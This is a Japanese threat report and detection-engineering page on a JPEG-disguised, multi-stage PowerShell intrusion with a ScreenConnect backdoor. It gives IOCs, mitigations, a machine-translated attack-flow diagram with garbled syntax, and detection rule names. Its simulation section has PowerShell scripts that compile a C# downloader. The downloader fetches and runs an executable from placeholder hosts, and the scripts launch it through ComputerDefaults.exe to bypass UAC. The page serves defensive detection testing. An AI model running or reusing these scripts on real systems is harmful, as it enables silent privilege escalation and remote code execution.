OPERATION SILENTCANVAS: JPEG ベースのマルチステージPowerShell侵入
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
Operation SilentCanvasは、悪意のあるPowerShellペイロードをJPEGファイル名 sysupdate.jpegに隠す高度な多段階の侵入で、そのペイロードはカスタムランチャーを取得してコンパイルし、それを通じて構築された csc.exeを悪用し、 ComputerDefaults.exe を使用してファイルレスUACバイパスを実行し、トロイの木馬化されたConnectWise ScreenConnectサービス名 OneDriveServers をインストールして持続的なリモートアクセスを維持します。マルウェアは、ポート legitserver.theworkpc.com を通じて暗号化された通信チャネルで通信します。 5443 and 8041に加え、防御回避、資格情報の収集、隠密監視にも強い重点が置かれています。
調査
レポートは、JPEGベースのローダー、動的にコンパイルされた uds.exe バイナリ、および変更されたScreenConnectコンポーネントの静的および動的分析をカバーしています。研究者は、AMSIバイパス、リビングオフトゥランドバイナリの悪用、レジストリハイジャック、暗号化通信のためのカスタムキー導出などの複数の攻撃技術を特定しました。インフラストラクチャの分析により、 legitserver.theworkpc.com とIPアドレス 45.138.16.64間のハードコードされたマッピングが明らかになりました。この調査では、詳細な被害者のプロファイリング、ローカルアカウントの操作、隠されたデスクトップアクセスに結びついた機能も明らかになりました。
緩和策
ディフェンダーは、正当なリモート監視および管理ツールに対して厳密なホワイトリストを適用し、 csc.exe, cvtres.exeや ComputerDefaults.exeの実行を制限または厳密に監視するべきです。監視はまた、疑わしい ms-settings レジストリの変更、PowerShell AMSIバイパスの動作、隠しプロセス作成フラグ、名前を含む承認されていないサービス作成に焦点を当てる必要があります。 OneDriveServers暴露された可能性のあるアカウントはリセットされ、影響を受けたシステムはさらに悪用を防ぐために迅速に隔離されるべきです。
対応策
関連指標が検出された場合、エンドポイントは直ちに隔離され、悪意のある uds.exe プロセスと関連するPowerShellアクティビティは終了され、 OneDriveServers サービスはホストから削除されるべきです。調査者は、コマンドアンドコントロールインフラストラクチャに結びついたレジストリアーティファクト、サービスバイナリ、ネットワークテレメトリを収集し、より深いフォレンジックレビューを行う必要があります。すべての特権資格情報はローテーションされるべきであり、ディフェンダーはこのキャンペーンで文書化された技術に関連した水平移動パターンを監視するべきです。
「グラフTB
%% クラス定義
classDefアクションfill:#99ccff
classDefツールfill:#ffcc99
classDefマルウェアfill:#ff9999
classDefプロセスfill:#ccccff
%% ノード–アクション
action_initial_access[“アクション – T1566フィッシング添付ファイル: イメージに偽装した悪意のあるファイルsysupdate.jpegをメールで配信します。”]
クラスaction_initial_accessアクション
action_user_execution[“アクション – T1204.002ユーザー実行およびT1059.001PowerShell: 被害者は.jpegをダブルクリックし、埋め込まれたPowerShellを起動します。”]
クラスaction_user_executionアクション
action_execution[“アクション – T1562.001セキュリティツールの無効化(AMSIバイパス)およびT1027難読化: PowerShellスクリプトが検出を回避し、悪意のあるロジックを隠します。”]
クラスaction_executionアクション
action_dev_utility_abuse[“アクション – T1127配信後のコンパイルおよびT1027.004難読化/保存ファイル: スクリプトはC#ソースを埋め込み、csc.exeを使用してカスタムランチャーを作成します。”]
クラスaction_dev_utility_abuseアクション
action_priv_esc[“アクション – T1548.002実行フローのハイジャック: ms-settingsプロトコルとT1218.002コンパイル済みHTMLファイルを使用して、ComputerDefaults.exeを使用したファイルレスUACバイパスを実行します。”]
クラスaction_priv_escアクション
action_persistence[“アクション – T1543.003 Windowsサービス、名はOneDriveServers、およびT1136.001ローカルアカウント: 長期的なアクセスのための隠された管理者アカウントの作成です。”]
クラスaction_persistenceアクション
action_tool_hijack[“アクション – T1553.002署名済みバイナリプロキシ実行: 正当な署名コンポーネントを悪用したトロイ化されたConnectWise ScreenConnectバイナリを展開します。”]
クラスaction_tool_hijackアクション
action_credential_access[“アクション – T1556.001クレデンシャルAPIフックおよびT1056.001入力キャプチャ: ユーザー資格情報を収集するためにクレデンシャルプロバイダーフックとキーロガーをインストールします。”]
クラスaction_credential_accessアクション
action_collection[“アクション – T1113スクリーンキャプチャ, T1125ビデオキャプチャ, T1123オーディオキャプチャ, T1115クリップボードデータ: ビジュアル、オーディオ、クリップボード情報を収集します。”]
クラスaction_collectionアクション
action_discovery[“アクション – T1518ソフトウェア調査, T1010アプリケーションウィンドウ調査, T1082システム情報調査: インストールされたソフトウェア、AV製品、システム情報、アクティブなウィンドウを列挙します。”]
クラスaction_discoveryアクション
action_c2[“アクション – T1573暗号化チャネル: PBKDF2/HMAC-SHA256キーを使用して暗号化されたC2をセットアップし、T1105インフレスツール伝送を介して追加のツールを伝送します。”]
クラスaction_c2アクション
action_remote_execution[“アクション – T1021リモートサービス: ScreenConnectフレームワークを介して被害者上でコマンドを実行します。”]
クラスaction_remote_executionアクション
action_impact[“アクション – T1529システムシャットダウン/再起動: 環境を破壊するためにシステムの再起動やセーフモード再起動をトリガーできます。”]
クラスaction_impactアクション
%% ノード – ツール / プロセス
tool_sysupdate_jpeg[“ツール – 名前: sysupdate.jpeg
タイプ: 画像に偽装した悪意のある添付ファイル”]
クラステール_sysupdate_jpegツール
tool_powershell[“ツール – 名前: PowerShell
タイプ: 実行および難読化に使用されるスクリプトエンジン”]
クラステール_powershellツール
tool_csc[“ツール – 名前: csc.exe
タイプ: ホスト上でレバレッジされるC#コンパイラ”]
クラステール_cscツール
process_computerdefaults[“プロセス – 名前: ComputerDefaults.exe
説明: ファイルレスUACバイパスのためのプロキシとして使用”]
クラスプロセス_computerdefaultsプロセス
tool_screenconnect[“ツール – 名前: ConnectWise ScreenConnect
タイプ: 悪意のあるペイロードで乗っ取られたリモートアクセスソフトウェア”]
クラステール_screenconnectツール
malware_keylogger[“マルウェア – 名前: カスタム・キーロガー
目的: キーストロークと資格情報をキャプチャ”]
クラスmalware_keyloggerマルウェア
%% 接続– 攻撃フロー
action_initial_access ->|配信| tool_sysupdate_jpeg
tool_sysupdate_jpeg ->|トリガー| action_user_execution
action_user_execution ->|実行| tool_powershell
tool_powershell ->|実行| action_execution
action_execution ->|使用| tool_csc
tool_csc ->|作成| action_dev_utility_abuse
action_dev_utility_abuse ->|ランチャーを生成| action_priv_esc
action_priv_esc ->|呼び出す| process_computerdefaults
process_computerdefaults ->|有効にする| action_persistence
action_persistence ->|作成| action_tool_hijack
action_tool_hijack ->|インストール| tool_screenconnect
tool_screenconnect ->|促進| action_credential_access
action_credential_access ->|インストール| malware_keylogger
malware_keylogger ->|有効にする| action_collection
action_collection ->|データを供給| action_c2
action_c2 ->|サポート| action_remote_execution
action_remote_execution ->|使用| tool_screenconnect
action_remote_execution ->|につながる| action_impact
action_discovery ->|情報を提供| action_c2
%% スタイリング
クラステール_sysupdate_jpegツール
クラステール_powershellツール
クラステール_cscツール
クラステール_screenconnectツール
クラスプロセス_computerdefaultsプロセス
クラスmalware_keyloggerマルウェア
」
攻撃の流れ
検出
CMSTPLUA COMインターフェイスを介したUACバイパスの可能性[SafPay技術](コマンドライン経由)
見る
アンチウイルスまたはファイアウォールソフトウェアの列挙の可能性(プロセス作成経由)
見る
代替リモートアクセス/管理ソフトウェア(プロセス作成経由)
見る
Powershellを使用して疑わしいディレクトリにアーカイブが抽出された(PowerShell経由)
見る
IOC(HashSha256)で検出: OPERATION SILENTCANVAS : JPEGベースの多段階PowerShell侵入
見る
IOC(SourceIP)で検出: OPERATION SILENTCANVAS : JPEGベースの多段階PowerShell侵入
見る
IOC(DestinationIP)で検出: OPERATION SILENTCANVAS : JPEGベースの多段階PowerShell侵入
見る
非標準ポートを介した攻撃者インフラへの暗号化通信 [Windowsネットワーク接続]
見る
csc.exeとComputerDefaults.exeの悪用による侵入検出 [Windowsプロセス作成]
見る
AMSIバイパス付きPowerShellの実行 [Windows PowerShell]
見る
シミュレーション実行
前提条件: テレメトリとベースラインの事前確認が合格している必要があります。
根拠: このセクションでは、検出ルールをトリガーする敵の技術(TTP)の正確な実行を詳細に説明します。コマンドとナラティブは、特定されたTTPに直接反映され、検出ロジックで期待される正確なテレメトリを生成することを目的とします。抽象的または無関係な例は誤診につながります。
-
攻撃のナラティブとコマンド:
- 初期侵入: アタッカーはエンドポイントで低権限のPowerShellセッションを取得します。
- ライブコンパイル: すでに利用可能な
csc.exeを使用して、攻撃者はC2サーバーからセカンドステージペイロードを取得するC#ダウンローダをコンパイルします。コンパイルは、親子条件を満たすためにPowerShellプロセスから起動されます。 - ファイルレスUACバイパス: 攻撃者は、新しく構築された実行可能ファイルを
ComputerDefaults.exeを介して実行し、UACプロンプトを表示せずにサイレントに昇格を要求します。 - 昇格後の実行: 昇格されたペイロードは、攻撃者に対してリバースシェルを確立します。
# ステップ 1 – 悪意のあるC#ソースを準備(インメモリ) $csSource = @" using System; using System.Net; using System.Diagnostics; public class Downloader { public static void Main() { using (WebClient wc = new WebClient()) { string payloadUrl = "http://malicious.example.com/payload.exe"; string tempPath = System.IO.Path.Combine($env:TEMP, "payload.exe"); wc.DownloadFile(payloadUrl, tempPath); Process.Start(tempPath); } } } "@ $srcPath = "$env:TEMPDownloader.cs" $exePath = "$env:TEMPDownloader.exe" $csSource | Out-File -FilePath $srcPath -Encoding ASCII # ステップ 2 – csc.exeを介してコンパイル(親 = PowerShell) & "$env:WINDIRMicrosoft.NETFramework64v4.0.30319csc.exe" /nologo /t:exe /out:$exePath $srcPath # ステップ 3 – ComputerDefaults.exeを使用してUACバイパスをトリガー(依然としてPowerShellの子) $computerDefaults = "$env:SystemRootSystem32ComputerDefaults.exe" Start-Process -FilePath $computerDefaults -ArgumentList "`"$exePath`"" -WindowStyle Hidden -
回帰テストスクリプト: (上記のステップを再現する自己完結型PowerShellスクリプト)
# ----------------------------------------------------------------- # ファイル: trigger_csc_uac_bypass.ps1 # 目的: csc.exe + ComputerDefaults.exe の攻撃チェーンをシミュレート # ----------------------------------------------------------------- # TEMPディレクトリに悪意のあるC#ソースを作成 $src = @" using System; using System.Net; using System.Diagnostics; public class Payload { public static void Main() { using (WebClient wc = new WebClient()) { string url = "http://example.com/evil.exe"; string path = System.IO.Path.Combine($env:TEMP, "evil.exe"); wc.DownloadFile(url, path); Process.Start(path); } } } "@ $srcPath = Join-Path $env:TEMP "Payload.cs" $exePath = Join-Path $env:TEMP "Payload.exe" $src | Out-File -FilePath $srcPath -Encoding ASCII # このPowerShellプロセスが親となり、csc.exeでコンパイル $csc = "$env:WINDIRMicrosoft.NETFramework64v4.0.30319csc.exe" & $csc /nologo /t:exe /out:$exePath $srcPath # 静かなUACバイパスを行うためにComputerDefaults.exeで実行 $computerDefaults = "$env:SystemRootSystem32ComputerDefaults.exe" Start-Process -FilePath $computerDefaults -ArgumentList "`"$exePath`"" -WindowStyle Hidden -
クリーンアップコマンド:
# 生成されたアーティファクトを削除 Remove-Item -Path "$env:TEMPPayload.cs" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPPayload.exe" -Force -ErrorAction SilentlyContinue # テストによって開始された残留プロセスをオプションで終了 Get-Process -Name "evil" -ErrorAction SilentlyContinue | Stop-Process -Force